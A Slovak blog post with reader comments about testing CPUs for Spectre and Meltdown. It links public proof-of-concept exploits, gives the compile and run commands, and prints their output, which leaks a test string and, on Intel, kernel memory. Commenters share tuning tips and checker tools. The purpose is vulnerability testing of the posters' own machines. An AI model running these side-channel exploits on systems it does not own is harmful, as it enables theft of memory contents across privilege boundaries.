Spectre a Meltdown na AMD

4.1.2018 16:47 | Přečteno: 4284× | Linux | poslední úprava: 25.1.2018 12:55

Testovanie procesorov na zranitelnost Spectre a Meltdown. Mám tu starší procesor AMD s Ubuntu 14.04 LTS a ideme nato:
Update: Pridal som test na Meltdown zranitelnost.

cat /proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 16
model		: 6
model name	: AMD Athlon(tm) II P320 Dual-Core Processor
stepping	: 3
microcode	: 0x10000c8
cpu MHz		: 1500.000
cache size	: 512 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fdiv_bug	: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 5
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov 
pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp 
lm 3dnowext 3dnow constant_tsc nonstop_tsc extd_apicid pni monitor cx16 popcnt
 lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a 3dnowprefetch osvw ibs 
skinit wdt nodeid_msr hw_pstate npt lbrv svm_lock nrip_save vmmcall
bogomips	: 4189.41
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm stc 100mhzsteps hwpstate


- uložíme zdroják do súboru spectre.c
-------------------------------------

https://pastebin.com/raw/R48nqKqg

- skompilujeme
--------------

gcc -march=pentium4 -std=c99 -O0 spectre.c -o spectre

- spustíme v konzole 
--------------------

./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffe970... Success: 0x54=’T’ score=7 (second best: 0xD7 score=1)
Reading at malicious_x = 0xffffe971... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffe972... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffe973... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffe974... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffe975... Success: 0x61=’a’ score=7 (second best: 0x8F score=1)
Reading at malicious_x = 0xffffe976... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffe977... Success: 0x69=’i’ score=7 (second best: 0xFC score=1)
Reading at malicious_x = 0xffffe978... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffe979... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffe97a... Success: 0x57=’W’ score=7 (second best: 0xDF score=1)
Reading at malicious_x = 0xffffe97b... Success: 0x6F=’o’ score=7 (second best: 0xA8 score=1)
Reading at malicious_x = 0xffffe97c... Success: 0x72=’r’ score=7 (second best: 0xF9 score=1)
Reading at malicious_x = 0xffffe97d... Success: 0x64=’d’ score=7 (second best: 0xDC score=1)
Reading at malicious_x = 0xffffe97e... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffe97f... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffe980... Success: 0x61=’a’ score=7 (second best: 0xDD score=1)
Reading at malicious_x = 0xffffe981... Success: 0x72=’r’ score=7 (second best: 0x75 score=1)
Reading at malicious_x = 0xffffe982... Success: 0x65=’e’ score=7 (second best: 0x13 score=1)
Reading at malicious_x = 0xffffe983... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffe984... Success: 0x53=’S’ score=7 (second best: 0xFE score=1)
Reading at malicious_x = 0xffffe985... Success: 0x71=’q’ score=7 (second best: 0xCF score=1)
Reading at malicious_x = 0xffffe986... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffe987... Success: 0x65=’e’ score=7 (second best: 0xB8 score=1)
Reading at malicious_x = 0xffffe988... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffe989... Success: 0x6D=’m’ score=7 (second best: 0xF7 score=1)
Reading at malicious_x = 0xffffe98a... Success: 0x69=’i’ score=7 (second best: 0x9C score=1)
Reading at malicious_x = 0xffffe98b... Success: 0x73=’s’ score=7 (second best: 0xCE score=1)
Reading at malicious_x = 0xffffe98c... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffe98d... Success: 0x20=’ ’ score=7 (second best: 0xEF score=1)
Reading at malicious_x = 0xffffe98e... Success: 0x4F=’O’ score=7 (second best: 0xE9 score=1)
Reading at malicious_x = 0xffffe98f... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffe990... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffe991... Success: 0x69=’i’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffe992... Success: 0x66=’f’ score=7 (second best: 0xF9 score=1)
Reading at malicious_x = 0xffffe993... Success: 0x72=’r’ score=7 (second best: 0xB9 score=1)
Reading at malicious_x = 0xffffe994... Success: 0x61=’a’ score=7 (second best: 0xCC score=1)
Reading at malicious_x = 0xffffe995... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffe996... Success: 0x65=’e’ score=7 (second best: 0xF2 score=1)
Reading at malicious_x = 0xffffe997... Success: 0x2E=’.’ score=7 (second best: 0xFC score=1)

Je už dostupný aj test na Meltdown zranitelnost. AMD je tu skutočne odolné.

AMD
---

cat /proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 16
model		: 6
model name	: AMD Athlon(tm) II P320 Dual-Core Processor
stepping	: 3
microcode	: 0x10000c8
cpu MHz		: 800.000
cache size	: 512 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fdiv_bug	: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 5
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc nonstop_tsc extd_apicid pni monitor cx16 popcnt lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a 3dnowprefetch osvw ibs skinit wdt nodeid_msr hw_pstate npt lbrv svm_lock nrip_save vmmcall
bogomips	: 4189.41
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm stc 100mhzsteps hwpstate


user@dell:/media/ramdisk/meltdown-exploit-master$ make
cc   meltdown.o   -o meltdown
user@dell:/media/ramdisk/meltdown-exploit-master$ ./run.sh 
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk 
	/linux_proc_banner/ {
		if (strtonum("0x"$1))
			print $1;
		exit 0;
	} /proc/kallsyms
[sudo] password for user: 
+ linux_proc_banner=c1671040
+ set +x
cached = 69, uncached = 216, threshold 122
read c1671040 = 0  
read c1671041 = 0  
read c1671042 = 0  
read c1671043 = 0  
read c1671044 = 0  
read c1671045 = 0  
read c1671046 = 0  
read c1671047 = 0  
read c1671048 = 0  
read c1671049 = 0  
read c167104a = 0  
read c167104b = 0  
read c167104c = 0  
read c167104d = 0  
read c167104e = 0  
read c167104f = 0  
read c1671050 = 0  
read c1671051 = 0  
read c1671052 = 0  
read c1671053 = 0  
read c1671054 = 0  
read c1671055 = 0  
NOT VULNERABLE


INTEL
-----

$ make
cc -O2 -msse2   -c -o meltdown.o meltdown.c
cc   meltdown.o   -o meltdown
$ ./run.sh 
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk 
	/linux_proc_banner/ {
		if (strtonum("0x"$1))
			print $1;
		exit 0;
	} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20  
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20  
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20  
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON

4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping	: 9
microcode	: 0x5e
cpu MHz		: 3499.316
cache size	: 6144 KB
physical id	: 0

https://github.com/paboldin/meltdown-exploit

Update 8.1:

Vyšiel script ktorý kontroluje všetky 3 varianty zranitelností:
https://github.com/speed47/spectre-meltdown-checker
AMD nie je zranitelné aj bez patchovania kernela:--> Výsledok môjho testu
Ďalej vyšiel Vulnerability Online Check Tool ktorý testuje zranitelnosť browsera: http://xlab.tencent.com/special/spectre/spectre_check.html
Chrome nie je na AMD zraniťelné:--> Výsledok môjho testu

Update 14.1:

Vyšla nová verzia skriptu spectre-meltdown-checker.sh v0.30. Už signalizuje pri AMD zranitelnosť na Spectre Variant 2 odporúča: (IBRS hardware + kernel support OR kernel with retpoline are needed to mitigate the vulnerability)

Update 16.1:

Pre Windows vyšiel šikovný malý program na kontrolu zranitelnosti. https://www.ghacks.net/2018/01/16/gibson-releases-inspectre-vulnerability-and-performance-checker/

Update 25.1:

AMD vydalo : Software Techniques for Managing Speculation on AMD Processors Whitepaper https://www.amd.com/Documents/managing-speculation-on-amd-processors.pdf        

Obrázky

Komentáře

[R]

Na P4 to nefunguje - vracia same 0xFF.

Pre P3 to nejde skompilovat (error: inlining failed in call to always_inline ‘_mm_clflush’: target specific option mismatch)

Na Core2 Xeonoch mi to tiez nejako nejde.

[sk7]

skus tu:
https://repl.it/repls/DeliriousGreenOxpecker
a pouzi zdrojak pripadne treba skusat menit hodnotu v:
#define CACHE_HIT_THRESHOLD 300
hore bolo 80 skus 100 alebo 300

[R]

rdtscp sposobi illegal instruction. threshold sa mi nepodarilo nastavit tak, aby to fungovalo. Maximalne par znakov to obcas uhadne na Xeone X5355.

[R]

Konecne som to rozchodil - nasiel som dostatocne novy procesor. Na Xeone E5-2620 to funguje s rdtscp a thresholdom 80.

[pc2005]

Jo taky jsem si všiml na core2 není rdtscp podporovanej (musí být flag v /proc/cpuinfo).

[PavelM]

Core2Duo E8600 se mi nepodařilo ani částečně ke spolupráci přesvědčit, vrací samé e bez ohledu na hodnotu thresholdu a druhý zdroják nejde kvůli výše zmíněné rdtscp použít.

[majales]

na Core2 Duo T9300

nikdo@ubuntu-notebook:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 23
model name      : Intel(R) Core(TM)2 Duo CPU     T9300  @ 2.50GHz
stepping        : 6
microcode       : 0x60f
cpu MHz         : 800.000
cache size      : 6144 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 10
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm tpr_shadow vnmi flexpriority dtherm ida
bugs            :
bogomips        : 4987.40
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 23
model name      : Intel(R) Core(TM)2 Duo CPU     T9300  @ 2.50GHz
..

gcc  -std=c99 -O0 spectre.c -o spectre

nikdo@ubuntu-notebook:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=’ ’ score=1
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=4 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=1
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=1
Reading at malicious_x = 0xffffffffffdfee09... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65=’e’ score=1
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=1
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x03=’▒’ score=1
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=1
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D=’m’ score=1
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=1
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee14... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee15... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x02=’▒’ score=1
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=1
Reading at malicious_x = 0xffffffffffdfee19... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee1b... Unclear: 0x72=’r’ score=1 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=1
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0xFF=’▒’ score=0

Ubuntu 17:04

[majales]

Nemáte někdo verzi pro ARM? Že bych to vyzkoušel i na raspberry..

[KS]

Raspberry Pi 3 používá jádro Cortex-A53, takže podle ARMu není postižen: https://developer.arm.com/support/security-update

[pc2005]

Cortex A9 taky? :-O

[Jana J.]

Zajímavé:

johanka@johanbook ~/tmp/tmp $ cat /proc/cpuinfo 
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 142
model name      : Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz
stepping        : 9
microcode       : 0x4e
cpu MHz         : 2900.000
cache size      : 4096 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 22
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs            :
bogomips        : 5808.00
clflush size    : 64
cache_alignment : 64
address sizes   : 39 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 142
model name      : Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz
... atd

johanka@johanbook ~/tmp/tmp $ 
johanka@johanbook ~/tmp/tmp $ gcc -march=native -O2 -pipe spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfec50... Unclear: 0xBC=’4’ score=999 (second best: 0x2E score=999)
Reading at malicious_x = 0xffffffffffdfec51... Unclear: 0x8D=’4’ score=999 (second best: 0x1E score=999)
Reading at malicious_x = 0xffffffffffdfec52... Unclear: 0xF4=’4’ score=999 (second best: 0xE4 score=999)
Reading at malicious_x = 0xffffffffffdfec53... Unclear: 0xF6=’4’ score=999 (second best: 0xE2 score=999)
Reading at malicious_x = 0xffffffffffdfec54... Unclear: 0xE4=’4’ score=999 (second best: 0xB1 score=999)
Reading at malicious_x = 0xffffffffffdfec55... Unclear: 0xF2=’4’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdfec56... Unclear: 0xF1=’4’ score=999 (second best: 0xD5 score=999)
Reading at malicious_x = 0xffffffffffdfec57... Unclear: 0xFC=’4’ score=999 (second best: 0xB1 score=999)
Reading at malicious_x = 0xffffffffffdfec58... Unclear: 0xBC=’4’ score=999 (second best: 0xB9 score=999)
Reading at malicious_x = 0xffffffffffdfec59... Unclear: 0xE9=’4’ score=999 (second best: 0xB3 score=999)
Reading at malicious_x = 0xffffffffffdfec5a... Unclear: 0xFA=’4’ score=999 (second best: 0xE8 score=999)
Reading at malicious_x = 0xffffffffffdfec5b... Unclear: 0xEE=’4’ score=999 (second best: 0xCC score=999)
Reading at malicious_x = 0xffffffffffdfec5c... Unclear: 0xFC=’4’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdfec5d... Unclear: 0xF3=’4’ score=999 (second best: 0xEF score=999)
Reading at malicious_x = 0xffffffffffdfec5e... Unclear: 0xFF=’4’ score=999 (second best: 0xF1 score=999)
Reading at malicious_x = 0xffffffffffdfec5f... Unclear: 0xE2=’4’ score=999 (second best: 0xDC score=999)
Reading at malicious_x = 0xffffffffffdfec60... Unclear: 0xE4=’4’ score=999 (second best: 0xDA score=999)
Reading at malicious_x = 0xffffffffffdfec61... Unclear: 0x7A=’z’ score=999 (second best: 0x1E score=999)
Reading at malicious_x = 0xffffffffffdfec62... Unclear: 0xFA=’4’ score=999 (second best: 0xE7 score=999)
Reading at malicious_x = 0xffffffffffdfec63... Unclear: 0xFE=’4’ score=999 (second best: 0xD6 score=999)
Reading at malicious_x = 0xffffffffffdfec64... Unclear: 0xFD=’4’ score=997 (second best: 0xE7 score=997)
Reading at malicious_x = 0xffffffffffdfec65... Unclear: 0xCD=’4’ score=999 (second best: 0x50 score=999)
Reading at malicious_x = 0xffffffffffdfec66... Unclear: 0xE3=’4’ score=999 (second best: 0xAF score=999)
Reading at malicious_x = 0xffffffffffdfec67... Unclear: 0xE2=’4’ score=999 (second best: 0x96 score=999)
Reading at malicious_x = 0xffffffffffdfec68... Unclear: 0xFF=’4’ score=999 (second best: 0xE4 score=999)
Reading at malicious_x = 0xffffffffffdfec69... Unclear: 0xE6=’4’ score=999 (second best: 0xDB score=999)
Reading at malicious_x = 0xffffffffffdfec6a... Unclear: 0xE7=’4’ score=999 (second best: 0xA6 score=999)
Reading at malicious_x = 0xffffffffffdfec6b... Unclear: 0xEF=’4’ score=999 (second best: 0x7C score=999)
Reading at malicious_x = 0xffffffffffdfec6c... Unclear: 0xD8=’4’ score=999 (second best: 0xCE score=999)
Reading at malicious_x = 0xffffffffffdfec6d... Unclear: 0xEB=’4’ score=999 (second best: 0x54 score=999)
Reading at malicious_x = 0xffffffffffdfec6e... Unclear: 0xF6=’4’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfec6f... Unclear: 0xFA=’4’ score=999 (second best: 0xE9 score=999)
Reading at malicious_x = 0xffffffffffdfec70... Unclear: 0xD7=’4’ score=999 (second best: 0x46 score=999)
Reading at malicious_x = 0xffffffffffdfec71... Unclear: 0xE0=’4’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfec72... Unclear: 0xE1=’4’ score=999 (second best: 0xBF score=999)
Reading at malicious_x = 0xffffffffffdfec73... Unclear: 0xAF=’4’ score=999 (second best: 0xA7 score=999)
Reading at malicious_x = 0xffffffffffdfec74... Unclear: 0xED=’4’ score=999 (second best: 0xBE score=999)
Reading at malicious_x = 0xffffffffffdfec75... Unclear: 0xFE=’4’ score=999 (second best: 0xE2 score=999)
Reading at malicious_x = 0xffffffffffdfec76... Unclear: 0xD9=’4’ score=999 (second best: 0xB8 score=999)
Reading at malicious_x = 0xffffffffffdfec77... Unclear: 0xE9=’4’ score=999 (second best: 0x8F score=999)
johanka@johanbook ~/tmp/tmp $
johanka@johanbook ~/tmp/tmp $ uname -a
Linux johanbook 4.14.8-gentoo-r1 #2 SMP PREEMPT Sun Dec 24 16:49:33 CET 2017 x86_64 Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz GenuineIntel GNU/Linux
johanka@johanbook ~/tmp/tmp $ cat /etc/gentoo-release 
Gentoo Base System release 2.4.1

Dělám něco špatně?

[Mrkva]

Necpi tam to -O2. Chapu, zvyk je zvyk, ale optimalizace to podle me rozbijou :)

[Jana J.]

Tím to nebude:

johanka@johanbook ~/tmp/tmp $ gcc -march=native -pipe spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed28... Unclear: 0xCF=’%’ score=999 (second best: 0x60 score=999)
Reading at malicious_x = 0xffffffffffdfed29... Unclear: 0xFD=’%’ score=999 (second best: 0xEA score=999)
Reading at malicious_x = 0xffffffffffdfed2a... Unclear: 0xFE=’%’ score=999 (second best: 0xCF score=999)
Reading at malicious_x = 0xffffffffffdfed2b... Unclear: 0xF0=’%’ score=999 (second best: 0xEC score=999)
Reading at malicious_x = 0xffffffffffdfed2c... Unclear: 0xFC=’%’ score=999 (second best: 0xE5 score=999)
Reading at malicious_x = 0xffffffffffdfed2d... Unclear: 0xFE=’%’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdfed2e... Unclear: 0xE8=’%’ score=999 (second best: 0xDA score=999)
Reading at malicious_x = 0xffffffffffdfed2f... Unclear: 0xEB=’%’ score=999 (second best: 0xCB score=999)
Reading at malicious_x = 0xffffffffffdfed30... Unclear: 0xF0=’%’ score=999 (second best: 0xE8 score=999)
Reading at malicious_x = 0xffffffffffdfed31... Unclear: 0xC3=’%’ score=999 (second best: 0xC1 score=999)
Reading at malicious_x = 0xffffffffffdfed32... Unclear: 0xF2=’%’ score=999 (second best: 0xC0 score=999)
Reading at malicious_x = 0xffffffffffdfed33... Unclear: 0xF5=’%’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfed34... Unclear: 0xDA=’%’ score=999 (second best: 0xC1 score=999)
Reading at malicious_x = 0xffffffffffdfed35... Unclear: 0xF3=’%’ score=999 (second best: 0xBD score=999)
Reading at malicious_x = 0xffffffffffdfed36... Unclear: 0xDC=’%’ score=999 (second best: 0xCF score=999)
Reading at malicious_x = 0xffffffffffdfed37... Unclear: 0xE3=’%’ score=999 (second best: 0xE2 score=999)
Reading at malicious_x = 0xffffffffffdfed38... Unclear: 0xDC=’%’ score=999 (second best: 0x98 score=999)
Reading at malicious_x = 0xffffffffffdfed39... Unclear: 0xEF=’%’ score=999 (second best: 0xEB score=999)
Reading at malicious_x = 0xffffffffffdfed3a... Unclear: 0xF9=’%’ score=999 (second best: 0xC7 score=999)
Reading at malicious_x = 0xffffffffffdfed3b... Unclear: 0xFB=’%’ score=999 (second best: 0xF3 score=999)
Reading at malicious_x = 0xffffffffffdfed3c... Unclear: 0xCE=’%’ score=999 (second best: 0xC6 score=999)
Reading at malicious_x = 0xffffffffffdfed3d... Unclear: 0xF1=’%’ score=999 (second best: 0xC7 score=999)
Reading at malicious_x = 0xffffffffffdfed3e... Unclear: 0xFC=’%’ score=999 (second best: 0xE1 score=999)
Reading at malicious_x = 0xffffffffffdfed3f... Unclear: 0xD2=’%’ score=999 (second best: 0xBB score=999)
Reading at malicious_x = 0xffffffffffdfed40... Unclear: 0xED=’%’ score=999 (second best: 0xE3 score=999)
Reading at malicious_x = 0xffffffffffdfed41... Unclear: 0xE1=’%’ score=999 (second best: 0xD3 score=999)
Reading at malicious_x = 0xffffffffffdfed42... Unclear: 0xEF=’%’ score=999 (second best: 0xE8 score=999)
Reading at malicious_x = 0xffffffffffdfed43... Unclear: 0xF9=’%’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfed44... Unclear: 0xBE=’%’ score=999 (second best: 0xBA score=999)
Reading at malicious_x = 0xffffffffffdfed45... Unclear: 0xB6=’%’ score=999 (second best: 0xB1 score=999)
Reading at malicious_x = 0xffffffffffdfed46... Unclear: 0xE3=’%’ score=999 (second best: 0xD9 score=999)
Reading at malicious_x = 0xffffffffffdfed47... Unclear: 0xF1=’%’ score=999 (second best: 0xE0 score=999)
Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0xFD=’%’ score=999 (second best: 0xFA score=999)
Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0xFD=’%’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0xC1=’%’ score=999 (second best: 0xAE score=999)
Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0xD3=’%’ score=999 (second best: 0xBD score=999)
Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0xD8=’%’ score=999 (second best: 0xBC score=999)
Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0xE0=’%’ score=999 (second best: 0xAA score=999)
Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0xBC=’%’ score=999 (second best: 0xB2 score=999)
Reading at malicious_x = 0xffffffffffdfed4f... Unclear: 0xD7=’%’ score=999 (second best: 0xC6 score=999)
johanka@johanbook ~/tmp/tmp $ rm spectre
johanka@johanbook ~/tmp/tmp $ gcc spectre.c -o spectre                     
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed28... Unclear: 0xEA=’%’ score=999 (second best: 0xD8 score=999)
Reading at malicious_x = 0xffffffffffdfed29... Unclear: 0xF7=’%’ score=999 (second best: 0xD8 score=999)
Reading at malicious_x = 0xffffffffffdfed2a... Unclear: 0xF3=’%’ score=999 (second best: 0xF0 score=999)
Reading at malicious_x = 0xffffffffffdfed2b... Unclear: 0xED=’%’ score=999 (second best: 0xE7 score=999)
Reading at malicious_x = 0xffffffffffdfed2c... Unclear: 0xEC=’%’ score=999 (second best: 0xE9 score=999)
Reading at malicious_x = 0xffffffffffdfed2d... Unclear: 0xF4=’%’ score=999 (second best: 0xEF score=999)
Reading at malicious_x = 0xffffffffffdfed2e... Unclear: 0xF5=’%’ score=999 (second best: 0xCD score=999)
Reading at malicious_x = 0xffffffffffdfed2f... Unclear: 0xE7=’%’ score=999 (second best: 0xC3 score=999)
Reading at malicious_x = 0xffffffffffdfed30... Unclear: 0xFF=’%’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdfed31... Unclear: 0xF2=’%’ score=999 (second best: 0xCD score=999)
